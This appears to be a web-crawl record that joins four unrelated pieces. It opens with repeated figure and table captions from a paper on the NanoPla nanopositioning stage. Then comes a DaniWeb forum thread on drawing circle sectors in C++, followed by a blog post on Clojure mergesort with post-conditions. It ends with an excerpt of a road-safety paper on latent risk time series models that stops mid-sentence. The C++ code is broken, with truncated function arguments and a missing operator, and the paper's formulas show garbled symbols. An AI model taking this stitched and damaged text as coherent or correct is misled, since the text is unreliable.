interpolation, where $p 1 , p 2 , p 3 , p 4 , p 5 , p 6$ are the given data and $P 1 , P 2 , P 3 , P 4 , P 5 , P 6$ are the control points.\nFigure 2. Curve fitting by least squares approximation, where $p 1 , p 2 , p 3 , p 4 , p 5 , p 6$ are the given data and $P 1 , P 2 , P 3$ are the control points.\nFigure 2. Curve fitting by least squares approximation, where $p 1 , p 2 , p 3 , p 4 , p 5 , p 6$ are the given data and $P 1 , P 2 , P 3$ are the control points.\nFigure 3. (a) Photograph of the NanoPla and the control system components; (b) front and exploded view of the NanoPla.\nFigure 3. (a) Photograph of the NanoPla and the control system components; (b) front and exploded view of the NanoPla.\nFigure 4. Diagram of the procedure for the analysis of the methods.\nFigure 4. Diagram of the procedure for the analysis of the methods.\nFigure 5. Scheme of the data flow in the NanoPla control system.\nFigure 5. Scheme of the data flow in the NanoPla control system.\nFigure 6. (a) Resultant interpolated curves obtained for $n + 1 = 7$, represented for $t ∈ ( 0 , π )$; (b) resultant interpolated curves obtained for $n + 1 = 7$, in the first non-data interval.\nFigure 6. (a) Resultant interpolated curves obtained for $n + 1 = 7$, represented for $t ∈ ( 0 , π )$; (b) resultant interpolated curves obtained for $n + 1 = 7$, in the first non-data interval.\nFigure 7. Interpolation errors obtained by the high relative accuracy (HRA) method IB1.\nFigure 7. Interpolation errors obtained by the high relative accuracy (HRA) method IB1.\nFigure 8. (a) Trajectories defined by interpolating the data points $p 1 , … , p 11$ with the HRA method and CAM splines; detail of the first non-data interval (b) and the second non-data interval (c), including the position of the NanoPla at certain trajectory points.\nFigure 8. (a) Trajectories defined by interpolating the data points $p 1 , … , p 11$ with the HRA method and CAM splines; detail of the first non-data interval (b) and the second non-data interval (c), including the position of the NanoPla at certain trajectory points.\nTable 1. Relative errors in solving $A n x = c n$ using the bidiagonal factorization of collocation matrices of Bernstein polynomials (5) and Koev’s algorithm.\nTable 1. Relative errors in solving $A n x = c n$ using the bidiagonal factorization of collocation matrices of Bernstein polynomials (5) and Koev’s algorithm.\nn$A n ∖ c n$HRA\n10$3.3579 × 10 − 13$$1.1191 × 10 − 15$\n20$1.2413 × 10 − 9$$6.2974 × 10 − 16$\n25$4.1424 × 10 − 7$$2.0843 × 10 − 15$\n50$1.0000$$7.5480 × 10 − 15$\nTable 2. NanoPla positioning uncertainty contributors and calculation.\nTable 2. NanoPla positioning uncertainty contributors and calculation.\nSourceJustificationValue\nResolution at the HRPWM $u H R P W M$Resolution of $2.62 × 10 − 5$ V $700 / 12$ nm\nLaser system resolution $u L r e s$Resolution of $1.58$ nm($1.58 / 12$ nm)\nCalibrated Laser system $u L c a l$Geometrical errors + measuring system calibration 99 nm\nRMS positioning error $u R M S$Laser system noise + phase currents noise + vibrations110 nm\nPositioning uncertainty $U X Y$ ($k = 2$)$U X Y ( k = 2 ) = k u H R P W M 2 + u L r e s 2 + u L c a l 2 + u R M S 2$501 nm\nTable 3. Maximum interpolating errors for a curve generated based on a set of points $p 1 , … , p n + 1$ in the first and second non-data intervals, for different interpolation methods.\nTable 3. Maximum interpolating errors for a curve generated based on a set of points $p 1 , … , p n + 1$ in the first and second non-data intervals, for different interpolation methods.\n$n + 1$IntervalsLinearCAMHRA IB1HRA IB2\n7$( 0 , 2 π / 6 )$$27.6$$μ$m18.0 $μ$m20.17 $μ$m17.84 $μ$m\n7$( 2 π / 6 , 4 π / 6 )$93.5 $μ$m17.1 $μ$m5.31 $μ$m5.60 $μ$m\n9$( 0 , 2 π / 8 )$11.8 $μ$m8.0 $μ$m1.25 $μ$m3.95 $μ$m\n9$( 2 π / 8 , 4 π / 8 )$41.9 $μ$m8.5 $μ$m0.22 $μ$m0.93 $μ$m\n11$( 0 , 2 π / 10 )$6.1 $μ$m4.0 $μ$m0.05 $μ$m0.94 $μ$m\n11$( 2 π / 10 , 4 π / 10 ) )$22.0 $μ$m4.5 $μ$m<0.01 $μ$m0.18 $μ$m\n21$( 0 , 2 π / 20 )$0.7 $μ$m0.5 $μ$m≪1 nm<0.01 $μ$m\n21$( 2 π / 20 , 4 π / 20 )$2.8 $μ$m0.6 $μ$m≪1 nm<1 nm\nTable 4. Number of control points ($P i$, $i = 1 , … , n + 1$) and maximum fitting errors (Ce) for a curve generated based on a set of points $p i$, $i = 1 , … , l + 1$, using different approximation methods.\nTable 4. Number of control points ($P i$, $i = 1 , … , n + 1$) and maximum fitting errors (Ce) for a curve generated based on a set of points $p i$, $i = 1 , … , l + 1$, using different approximation methods.\n$l + 1$CAD HRA LSB1 HRA LSB2\n$n + 1$Ce$n + 1$Ce$n + 1$Ce\n5121$0.045$$μ$m10$0.004$$μ$m12$0.046$$μ$m\n10138$0.006$$μ$m11$0.008$$μ$m13$0.037$$μ$m\n25144$0.023$$μ$m11$0.013$$μ$m14$0.017$$μ$m\n50134$0.046$$μ$m11$0.015$$μ$m14$0.021$$μ$m\n100138$0.036$$μ$m11$0.016$$μ$m14$0.023$$μ$m\nTable 5. NanoPla positioning system errors ($e N a n o P l a$), trajectory errors ($e t r a j e c t o r y$) and total positioning errors ($e p o s i t i o n$) at certain points of the trajectory (totally positive (TP)) defined by the HRA method and CAM system.\nTable 5. NanoPla positioning system errors ($e N a n o P l a$), trajectory errors ($e t r a j e c t o r y$) and total positioning errors ($e p o s i t i o n$) at certain points of the trajectory (totally positive (TP)) defined by the HRA method and CAM system.\nTrajectory Points$e NanoPla$$e trajectory$$e position$\n$T P 1 H R A$$0.01 ± 0.16$$μ$m$0.04$$μ$m$0.05 ± 0.16$$μ$m\n$T P 1 C A M$$0.02 ± 0.21$$μ$m$3.1$$μ$m$3.12 ± 0.21$$μ$m\n$T P 2 H R A$$0.01 ± 0.19$$μ$m$0.03$$μ$m$0.04 ± 0.19$$μ$m\n$T P 2 C A M$$0.00 ± 0.13$$μ$m$3.8$$μ$m$3.80 ± 0.13$$μ$m\n$T P 3 H R A$$0.02 ± 0.22$$μ$m$0.007$$μ$m$0.027 ± 0.22$$μ$m\n$T P 3 C A M$$0.01 ± 0.32$$μ$m$4.5$$μ$m$4.51 ± 0.32$$μ$m\n$T P 4 H R A$$0.02 ± 0.31$$μ$m$0.007$$μ$m$0.027 ± 0.31$$μ$m\n$T P 4 C A M$$0.01 ± 0.16$$μ$m$4.5$$μ$m$4.51 ± 0.16$$μ$m" ]	[ null, "https://www.mdpi.com/profiles/masked-unknown-user.png", null, "https://www.mdpi.com/img/design/orcid.png", null, "https://www.mdpi.com/profiles/masked-unknown-user.png", null, "https://www.mdpi.com/profiles/masked-unknown-user.png", null, "https://www.mdpi.com/profiles/masked-unknown-user.png", null, "https://www.mdpi.com/img/design/orcid.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9074335,"math_prob":0.98609775,"size":56715,"snap":"2019-43-2019-47","text_gpt3_token_len":12335,"char_repetition_ratio":0.19897375,"word_repetition_ratio":0.0994835,"special_character_ratio":0.21320638,"punctuation_ratio":0.13889678,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99833006,"pos_list":[0,1,2,3,4,5,6,7,8,9,10,11,12],"im_url_duplicate_count":[null,null,null,null,null,null,null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-19T06:54:59Z\",\"WARC-Record-ID\":\"<urn:uuid:2c73ec6f-7f5f-40f9-a075-b7083fff9a8a>\",\"Content-Length\":\"296875\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2fe2a526-c847-47bf-a882-b30e87a8f3e7>\",\"WARC-Concurrent-To\":\"<urn:uuid:56b76314-4270-47a3-818b-cedf12d36596>\",\"WARC-IP-Address\":\"104.16.9.68\",\"WARC-Target-URI\":\"https://www.mdpi.com/2072-666X/10/9/597/htm\",\"WARC-Payload-Digest\":\"sha1:YVPDZ3BUNDC7OZ3IXWKGSLR73H5GGZXU\",\"WARC-Block-Digest\":\"sha1:M3RAWXQWVTFEDEW3QRWVKYA6T3RN4UMJ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986692126.27_warc_CC-MAIN-20191019063516-20191019091016-00317.warc.gz\"}"}
https://www.daniweb.com/programming/software-development/threads/153327/hellow	[ "how can i draw a circle divided to many sectors ,each secteor area deppends on specific angle for each sector in the circle ,\n\nthanx for help ,\nregards\n\nyou will have to use some sort of gui libraries and/or compiler. Depends on your operating system.\n\nIf you don't know it already, start a course in trigonometry. It might help.\n\nTrig isn't all that difficult.. I put together a small example of how to create a bitmap, draw a circle and a sector in it (with a 50 deg angle). I tried to keep the code as short as possible, but it is still over 200 lines, so I will …\n\n## All 9 Replies\n\nyou will have to use some sort of gui libraries and/or compiler. Depends on your operating system.\n\nIf you don't know it already, start a course in trigonometry. It might help.\n\ntrig will help for the math part but is useless for the gui part. What you want is an easy way to draw pie charts in C or C++. Read some of these google links.\n\n(x - a) ^ 2 + (y - b) ^ 2 = r ^ 2\nWhere a and b are the center coordinates, and r is the radius. This should help you solve for x, and y, given one or the other.\nThis is useful for plotting, but sin, cos, and tan will be useful for splitting it up into sectors. (Remember a full rotation is 2 * pi)\n\nTrig isn't all that difficult.. I put together a small example of how to create a bitmap, draw a circle and a sector in it (with a 50 deg angle). I tried to keep the code as short as possible, but it is still over 200 lines, so I will post the important part and attach the whole code. It should draw on the bitmap and save it as circle.bmp in the project folder.\n\n``````const double PI = 3.141592;\nconst double deg_to_rad = PI / 180;\nconst double rad_to_deg = 180 / PI;\n\nvoid draw_sector(Bitmap &bmp, int deg_startangle, int deg_finangle, int radius) {\nint centre_x = bmp.width / 2;\nint centre_y = bmp.height / 2;\n\n// Start Angle\nbmp.line(\ncentre_x, // x1\ncentre_y, // y1\n);\n\n// Finish Angle\nbmp.line(\ncentre_x, // x1\ncentre_y, // y1\n);\n}\n\nint main() {\n// Create Bitmap object\nBitmap bmp(500, 500);\n\n// Centre of bitmap\nint centre_x = bmp.width / 2;\nint centre_y = bmp.height / 2;\n\nint x1, y1, x2, y2; // Temp location variables\n\n// Set default old coordient\ny2 = centre_y;\n\ncout << \"Drawing circle with a sector of 50 deg\\n\";\n\n// Draw a circle ( loop from 0 to (2PI) ) with 1deg accuracy\nfor (double i = 0; i < (360 deg_to_rad); i += (1 * deg_to_rad)) {\n// Get next coordients to draw a line to\nx1 = int(centre_x + cos(i) * 150);\ny1 = int(centre_y + sin(i) * 150);\n\n// Draw line from old coordients to new ones\nbmp.line(x1, y1, x2, y2);\n\n// Set old coordients\nx2 = x1;\ny2 = y1;\n}\n\n// Draw a sector between angle 0 and 50\n\nbmp.save(\"circle.bmp\");\n\ncout << \"\\nDone!\\n\\nPress <ENTER> to continue..\\n\";\n\ncin.ignore();\nreturn 0;\n}``````\n\nAnd here are some short tutorials to help :)\nTrigonometry\n\nHope all this helps :]\n\ncommented: Whoo! You're a genius kid XP +4\n\nthanks all my freinds , you response is realy helpful....\n\nBest regards\nextrov\n\nHello is spelled without the w. =)\nAlso, trigonometry is the way to go. You can probably find a tutorial or something: www.google.com/search?q=Trigonometry+Tutorial\n\nMy fingers get out of sync with my brain so often, every time I try to demo \"Hello world\" it comes out \"Hellow orld\"\n\nOr maybe it's just an emphatic variant of Hello?\n\nMy fingers get out of sync with my brain so often, every time I try to demo \"Hello world\" it comes out \"Hellow orld\"\n\nOr maybe it's just an emphatic variant of Hello?\n\nyes thats it , u gut it ...\nmy be sometimes when people miss something ,anothers add it ...\n\nBe a part of the DaniWeb community\n\nWe're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts learning and sharing knowledge." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.60421246,"math_prob":0.82469934,"size":8284,"snap":"2021-43-2021-49","text_gpt3_token_len":2564,"char_repetition_ratio":0.1076087,"word_repetition_ratio":0.51660025,"special_character_ratio":0.3457267,"punctuation_ratio":0.20401949,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9546431,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-12-01T13:14:18Z\",\"WARC-Record-ID\":\"<urn:uuid:69e838ea-482e-4e3e-9d4d-50b019c8a0af>\",\"Content-Length\":\"99198\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:8efeb6b5-ab37-4c6a-b396-37cd8bd3a182>\",\"WARC-Concurrent-To\":\"<urn:uuid:acc8f1ef-accc-4e5b-a22f-01aa9481ec8d>\",\"WARC-IP-Address\":\"172.66.41.5\",\"WARC-Target-URI\":\"https://www.daniweb.com/programming/software-development/threads/153327/hellow\",\"WARC-Payload-Digest\":\"sha1:HQWPA4Z2GLLA5NEMMAUIDJTYUOVVHJBT\",\"WARC-Block-Digest\":\"sha1:DCL4YIYDNMXOOTB7GU443HHSABRE2VD5\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964360803.0_warc_CC-MAIN-20211201113241-20211201143241-00296.warc.gz\"}"}
https://eddmann.com/posts/mergesort-in-clojure-using-post-conditionals/	[ "# Mergesort in Clojure using Post Conditionals\n\nWhilst currently reading through The Joy of Clojure book I was introduced to the concept of pre and post-conditionals, similar to another language I have heard about called Eiffel. To experiment with this feature I decided to create a simple merge-sort algorithm implementation which provided the post invariant that its returned values were sorted by the provided predicate.\n\n``````(defn sorted? [pred? col]\n(every? #(apply pred? %) (partition 2 1 col)))\n\n(defn merge\n([pred? left right]\n{:post [(sorted? pred? %)]}\n(loop [[l & lr :as ls] left [r & rr :as rs] right acc []]\n(if (and l r)\n(if (pred? l r)\n(recur lr rs (conj acc l))\n(recur ls rr (conj acc r)))\n(concat acc ls rs)))))\n\n(defn half [col]\n(split-at (/ (count col) 2) col))\n\n(defn merge-sort\n([col] (merge-sort < col))\n([pred? col]\n{:post [(sorted? pred? %)]}\n(if (< (count col) 2)\ncol\n(let [[left right] (half col)]\n(merge pred? (merge-sort pred? left) (merge-sort pred? right))))))\n``````\n\nI really liked the manner in which I could use the ‘partition’ function to succinctly map the task of splitting on each co-located pair of values within a collection in code. We are able to then put this implementation into practice by optionally providing a predicate (else defaulting to ascending order).\n\n``````(def numbers (shuffle (range 1 11))) ; [1 9 7 2 10 3 6 5 4 8]\n\n(merge-sort numbers) ; (1 2 3 4 5 6 7 8 9 10)\n(merge-sort > numbers) ; (10 9 8 7 6 5 4 3 2 1)\n``````" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8685085,"math_prob":0.9192695,"size":1442,"snap":"2019-51-2020-05","text_gpt3_token_len":417,"char_repetition_ratio":0.11752434,"word_repetition_ratio":0.0,"special_character_ratio":0.32038835,"punctuation_ratio":0.09219858,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98873925,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-01-20T06:06:38Z\",\"WARC-Record-ID\":\"<urn:uuid:ebc08d2a-266b-495e-a717-0a6453add620>\",\"Content-Length\":\"12386\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:4d0ed8c0-ac26-40a3-b093-bd072966ab2f>\",\"WARC-Concurrent-To\":\"<urn:uuid:2bfe2d40-9881-47bc-b338-da5122151991>\",\"WARC-IP-Address\":\"185.199.108.153\",\"WARC-Target-URI\":\"https://eddmann.com/posts/mergesort-in-clojure-using-post-conditionals/\",\"WARC-Payload-Digest\":\"sha1:MRPTGE75S4MNXRCN3OVKVRJO6UNPNCCU\",\"WARC-Block-Digest\":\"sha1:2ZUYUEVXIMIUFAP2NLOHV7E6V4GJGTLQ\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-05/CC-MAIN-2020-05_segments_1579250597458.22_warc_CC-MAIN-20200120052454-20200120080454-00393.warc.gz\"}"}
https://docksci.com/latent-risk-and-trend-models-for-the-evolution-of-annual-fatality-numbers-in-30-_5acd969cd64ab2d5697b6725.html	[ "Accident Analysis and Prevention 71 (2014) 327–336\n\nContents lists available at ScienceDirect\n\nAccident Analysis and Prevention journal homepage: www.elsevier.com/locate/aap\n\nLatent risk and trend models for the evolution of annual fatality numbers in 30 European countries Emmanuelle Dupont a,∗ , Jacques J.F. Commandeur b , Sylvain Lassarre c , Frits Bijleveld b , Heike Martensen a , Constantinos Antoniou d , Eleonora Papadimitriou d , George Yannis d , f ˜ Elke Hermans e , Katherine Pérez f , Elena Santamarina-Rubio , Davide Shingo Usami g , Gabriele Giustiniani g a\n\nBRSI, Belgian Road Safety Institute, Belgium SWOV Institute for Road Safety Research and VU University Amsterdam, The Netherlands c IFSTTAR, French Institute of Science and Technology for Transports, Development, and Networks, France d NTUA, National Technical University of Athens, Greece e Hasselt University, Transportation Research Institute, Belgium f ASPB, Agència de Salut Pública de Barcelona, CIBER de Epidemiología y Salud Pública (CIBERESP), Institut d’Investigació Biomèdica Sant Pau (IIB Sant Pau), Barcelona, Spain g La Sapienza University of Rome, Research Centre for Transport and Logistics, Italy b\n\na r t i c l e\n\ni n f o\n\nArticle history: Received 18 January 2014 Received in revised form 10 May 2014 Accepted 12 June 2014 Available online 9 July 2014 Keywords: Risk Exposure Structural time series models Latent risk model Stochastic trend model Forecasting\n\na b s t r a c t In this paper a uniﬁed methodology is presented for the modelling of the evolution of road safety in 30 European countries. For each country, annual data of the best available exposure indicator and of the number of fatalities were simultaneously analysed with the bivariate latent risk time series model. This model is based on the assumption that the amount of exposure and the number of fatalities are intrinsically related. It captures the dynamic evolution in the fatalities as the product of the dynamic evolution in two latent trends: the trend in the fatality risk and the trend in the exposure to that risk. Before applying the latent risk model to the different countries it was ﬁrst investigated and tested whether the exposure indicator at hand and the fatalities in each country were in fact related at all. If they were, the latent risk model was applied to that country; if not, a univariate local linear trend model was applied to the fatalities series only, unless the latent risk time series model was found to yield better forecasts than the univariate local linear trend model. In either case, the temporal structure of the unobserved components of the optimal model was established, and structural breaks in the trends related to external events were identiﬁed and captured by adding intervention variables to the appropriate components of the model. As a ﬁnal step, for each country the optimally modelled developments were projected into the future, thus yielding forecasts for the number of fatalities up to and including 2020. © 2014 Elsevier Ltd. All rights reserved.\n\n1. Introduction The temporal evolution of the number of accidents and victims (fatalities, severely injured, injured) is a major topic of interest in many road safety studies (see, e.g., COST 329, 2004; Lassarre et al., 2012; Commandeur et al., 2013). These quantities are counted on a monthly or yearly basis in all European countries. Both basic and more sophisticated statistical models have been proposed to capture these evolutions. Many models assume only a (log) linear\n\nfunction of time for the modelling of the number of fatalities, for instance some of the models discussed in Elvik (2010). Accidents and their consequences in terms of victims are occurrences of failures in the road transportation system. Each time a road user makes a trip, he or she is exposed to harm with a certain probability of being involved in an accident or being killed. The number of trafﬁc fatalities in a certain period is obviously dependent on the total exposure resulting from the amount of trafﬁc in the trafﬁc system in that same period. The amount of exposure determines the scale of the road safety problem and is therefore an essential factor in the assessment of road safety. Many models include some measure of trafﬁc volume as an approximation of exposure. Frequently (e.g., Oppe, 1989, 1991) the total number of\n\n328\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\nmotor vehicle kilometres travelled is used as a measure of trafﬁc volume, which is only an approximation of exposure (because it is based on survey data, for example). It is then used to calculate the empirical risk as the number of fatalities divided by the number of kilometres travelled. This paper tries to overcome the limitations of previous models by considering three issues. First, it is acknowledged that the actual exposure is latent and can only be approximated by whichever measure of trafﬁc volume is chosen. Consequent on the assumption of latent exposure, the risk derived analogous to that reported by Oppe (1989, 1991) now becomes a latent risk by deﬁnition. Second, latent exposure and the latent risk are simultaneously used for the modelling of the number of fatalities instead of in two separate steps as was done in Oppe (1989, 1991). When seeking to understand the evolution in the number of fatalities or accidents this approach makes it easier to decide whether a change is to be attributed to a change in exposure or to a change in the risk road users are exposed to. Finally, as indicated in Elvik (2010), the trends underlying the developments of the number of trafﬁc fatalities need not be stable over time, with the consequence that modelling them as stable may yield poor in-sample predictions as well as poor forecasting results. Another aspect paramount to the analysis of data spanning an extended period of time, therefore, is that relations need not be invariant over the whole observed period. One way to handle such changes is to allow (model) parameters to be time varying as well, thus yielding improved in-sample predictions and forecasting results. The model described and applied in this paper – called the Latent Risk Time series model (Bijleveld et al., 2008; Bijleveld, 2008; COST 329, 2004) – is designed to accommodate all three of the above-mentioned properties. The aim of the analyses presented in this paper is to obtain forecasts for the number of trafﬁc fatalities in each of the European countries in 2020 in a similar way by means of the structural time series approach, using comparable data as much as possible. As the purpose is to provide some comparable robust forecasts to help policy makers develop long-term targets and strategies for successful road safety policies, the models are focused to the analysis of two basic components: exposure and risk, and the introduction of idiosyncratic explanatory factors has been avoided whenever possible. In total, the results for some 30 countries are presented in this paper that are based on the work performed for the EC FP7 project DaCoTA (see Martensen and Dupont, 2010; Dupont and Martensen, 2012; Lassarre et al., 2012). The use of the homogeneous modelling technique allows to compare the past and future developments of the various countries and to address the following important questions: • Has there been a continuous, smooth development of road safety or were there abrupt changes in these developments? • If there were changes, can these be attributed to changes in the risk, or rather to changes in exposure? • Where does the past development tend to (if continued)? This last issue is particularly important for the setting of realistic road safety targets by policy makers. The European Commission has set the target to halve the number of road deaths in 2020 as compared to 2010. 2. Methodology One of the most important outcomes of road safety – quantiﬁed as the number of fatalities – is a joint function of the “level of dangerousness” of the trafﬁc system, or road risk, and of the extent in which road users are confronted with this risk, here deﬁned\n\nas the exposure to risk. This framework, where the fatality trend is decomposed into a risk and exposure trend, was made popular by Oppe (1989, 1991). This decomposition implies that two series of observations have to be analysed in parallel in order to model the development of road safety: one for the road safety indicator, the other for the exposure indicator. In the models presented here, the number of fatalities is the road safety indicator. The indicator for exposure is related to trafﬁc volume and either the number of vehicle kilometres travelled or the size of the vehicle ﬂeet can be used, depending on the availability of mobility data in the different European countries. The assumption that the development in trafﬁc safety is the product of the respective developments in exposure and risk can be summarised as follows: Vehicle kilometres = Exposure Fatalities = Exposure × Risk\n\n(1)\n\nExcept for the time dependent speciﬁcation, these two equations deﬁne the Latent Risk Time series model (LRT). In the LRT model both trafﬁc volume and fatalities are treated as dependent variables. Trafﬁc volume is modelled as a measure of “exposure” which can be subject to error. The number of fatalities, on the other hand, is deﬁned as the product of “exposure” and “risk” and is also subject to random variation. Trafﬁc volume and the number of fatalities are considered to be the manifest counterparts of “exposure” and “exposure times risk”, respectively, where “exposure” and “risk” are treated as latent (i.e., unobserved) variables. By taking the logarithm of the two equations in (1) (thus turning the multiplicative model into an additive one), and adding an error term (also known as a disturbance term) to the latent variables, we obtain: log(Traffic Volume) = log(Exposure) + error(Exposure) log(Fatalities) = log(Exposure) + log(Risk) + error(Fatalities)\n\n(2)\n\nThis implies that the disturbances in the original model formulation (1) should also be considered a multiplicative variable. This may seem a questionable assumption. One should note, however, that the additive Gaussian noise model (with constant variance) might not be appropriate for fatality count data, and possibly even not for trafﬁc volume data. The implicit assumption of multiplicative errors is actually quite commonly applied, if only for practical reasons, as it substantially simpliﬁes modelling. Because the equations in (2) deﬁne the way in which the latent variables exposure and risk can be inferred from the observations, they are called the measurement equations. When observed over time, these equations can therefore be interpreted as a decomposition of an observed time series (e.g., log(Trafﬁc Volumet )) into a trend, which is the latent variable log(Exposuret ), and an error term, which is then also known as an irregular component (the error term error(Exposuret )). As can be seen in (2), the log(Exposure) is present in both measurement equations. There is a trend in this bivariate process, which depends in both equations on the exposure plus a speciﬁc trend related to the risk for the number of fatalities. In order to specify the dynamics of the model, two linear state equations are introduced for each of the latent variables log(Exposure) and log(Risk) in addition to the measurement equations in (2). One of these state equations is called the level equation, and the other the slope equation. The equations are linear, and deﬁne that the slope component at a certain time point is equal to the slope component at the previous time point plus some additive random disturbance, while the level at a certain time point is equal to the level at the previous time point plus the slope at the previous time point plus some additive random disturbance. In the absence of any random disturbance, this means that the level follows a straight\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\nline, and the slope is constant. Introducing a positive random disturbance in the slope component means that the level component will start to increase faster (the slope will become steeper), and continue to do so until a new random disturbance changes the slope. Likewise, introducing a positive random disturbance in the level component means that the level component will stay at a higher level until a new random disturbance changes it. Both disturbances have a long-term effect, as opposed to the disturbances in the measurement equations, which have a short-term effect. This speciﬁcation is identical to the speciﬁcation of the local linear trend model (see Harvey, 1989; Commandeur and Koopman, 2007; Durbin and Koopman, 2012).1 We can now provide the complete formulation of the LRT model as it was presented in Bijleveld et al. (2008): log(Traffic Volumet ) = level(log(Exposuret )) + εet level(log(Exposuret+1 ) = level(log(Exposuret ) e + slope(log(Exposuret )) + \u0003t=1 e slope(log(Exposuret+1 )) = slope(log(Exposuret )) + \u0004t+1\n\n(3) f\n\nlog(Fatalitiest ) = level(log(Exposuret )) + level(log (Risk)t ) + εt f\n\nlevel(log(Riskt+1 )) = level(log(Riskt )) + sloope(log (Risk)t ) + \u0003t slope(log(Riskt+1 )) =\n\nf slope(log(Riskt )) + \u0004t+1\n\nwhere\n\n– εet is the irregular component (disturbance term) for the measurement equation of trafﬁc volume, f – εt is the irregular component (disturbance term) for the measurement equation of the fatalities, e – \u0003t+1 is the disturbance term for the state equation of the level of the latent exposure, r – \u0003t+1 is the disturbance term for the state equation of the level of the latent risk, e – \u0004t+1 is the disturbance term for the state equation of the slope of the latent exposure, r is the disturbance term for the state equation of the slope of – \u0004t+1 the latent risk.\n\nThese terms constitute the random components of the model. Because the two dependent variables are both in logarithms, the two slope components in (3) can be interpreted as a yearly rate of change.\n\n329\n\nThe covariance matrix of the disturbances speciﬁes the dynamics in and between the components of the models due to their randomness:\n\nA\n\n0\n\n0\n\n˝ = ⎣0\n\nB\n\n0⎦\n\n0\n\n0\n\nC\n\nwith\u0006\n\n\u0006\n\nA= \u0005\u00032e\n\n(4)\n\n\u0005ε2e cov(εe , εf )\n\ncov(\u0003 e , \u0003 r )\n\ncov(εe , εf ) \u0005 2f\n\ncov(\u0003 e , \u0003 r ) \u0005\u00032r\n\n\u0007\n\n,\n\nand\n\nC=\n\nB=\n\n\u0006\n\n\u0005\u00042e cov(\u0004 e , \u0004 r )\n\ncov(\u0004 e , \u0004 r ) \u0005\u00042r\n\n\u0007\n\nThe values of the variances of the disturbances on the diagonal of matrices B and C determine whether the corresponding level and slope components are stochastic or deterministic. If a disturbance variance is zero then the corresponding component is deterministic and ﬁxed: in this case the slope component does not change over time. If the value of the variance is larger than zero, on the other hand, then the corresponding component is stochastic, and its value therefore changes over time. The tests conducted in order to determine whether components should be considered as deterministic or stochastic are described in the “Model selection” section below. 3. Investigation of correlations between components As indicated in (4), some of the random components in the model may be correlated, such as the disturbances of the slope components. When such a correlation happens to be (close to) plus or minus one, then we have the special situation that the level and/or slope components are – as is said – common. When unobserved components are common this means that the changes or “shocks” driving the dynamics of the (two or multiple) time series are perfectly linearly related. Stated differently, the level and/or slope components then change in the same way at the same points in time, and the corresponding time series therefore display common behaviour. The identiﬁcation of common factors is important because it allows the improvement of models to make them more efﬁcient, but also because factor components are informative in themselves of the dynamics governing the evolution of the trends considered. To explore this structure, a bivariate SUTSE (Seemingly Unrelated Time Series Equations) model (Harvey, 1989) of the trafﬁc volume and the number of fatalities with a complete covariance structure of the disturbances of the levels, slopes, and irregulars can be applied: log(Traffic Volumet ) = level(log(Traffic Volumet )) + εt e level(log(Traffic Volumet+1 )) = level(log(Traffic Volumet )) e +slope(log(Traffic Volumet )) + \u0003t+1 slope(log(Traffic Volumet+1 )) = slope(log(Traffic Volumet )) + \u0004t+1 e (5)\n\n1\n\nARMA and ARIMA models or their extensions are frequently applied analysis techniques for the forecasting of fatality numbers. When it comes to linear Gaussian time series models, there are many equivalencies between the ARIMA and the structural time series framework. It can be shown, for example, that the local level model and the ARIMA (0 1 1) model yield identical forecasts; the same applies to the local linear trend model and the ARIMA (0 2 2) model. For a comprehensive overview of the equivalencies between ARIMA and structural time series models we refer to Appendix 1 in Harvey (1989). The reasons that we prefer the structural time series approach is that these models do not require the time series to be stationary, and that missing observations and multivariate time series are easily handled in the latter framework while this is relatively difﬁcult in a pure ARIMA modelling context. Moreover, the structural time series framework yields interpretable components such as trends, cycles, and seasonal patterns, which moreover can be inspected for additional model validation; this is not the case in ARIMA models.\n\nlog(Fatalitiest ) = level(log(Fatalitiest )) + εt f level(log(Fatalitiest+1 )) = level(log(Fatalitiest )) + slope(log(Fatalitiest )) + \u0003t+1\n\nf\n\nslope(log(Fatalitiest+1 )) = slope(log(Fatalitiest )) + \u0004t+1 f\n\nNote that SUTSE model (5) is different from LRT model (3) and (4) because it no longer contains a latent risk variable. The disturbances of the unobserved level components of the fatalities and trafﬁc volume can be correlated and the disturbances of the unobserved slope components of the fatalities and trafﬁc volume can be correlated as well. There is an intimate relation between such common component models and what is known in the time series literature as cointegration.\n\n330\n\nE. Dupont et al. / Accident Analysis and Prevention 71 (2014) 327–336\n\nTable 1 Rules for the use of a LRT model depending on the correlation between the slope components of the bivariate SUTSE model. Type of correlation between the slope disturbances\n\nNo correlation (0)\n\nFull correlation (1)\n\nMedium correlation (0.1–0.9)\n\nConsequences for the model\n\nIndependence between fatalities and exposure\n\nStrong dependency: common components (same stochastic slope), cointegration Long-term linear relationship\n\nWeak dependency\n\nE(fat.\|exp.) = E(fat.)\n\nlog(Fatt ) = b level(log(Expt )) + a + ct + εt\n\nUnivariate LLT\n\nBivariate LRT with deterministic risk trend\n\nModel\n\nWhen the correlation is negligible, there is no relationship between fatalities and exposure, meaning that knowledge of exposure does not bring any additional information to predict the number of fatalities. In that case, it can be proven that the trend for the exposure can be ignored altogether and that a 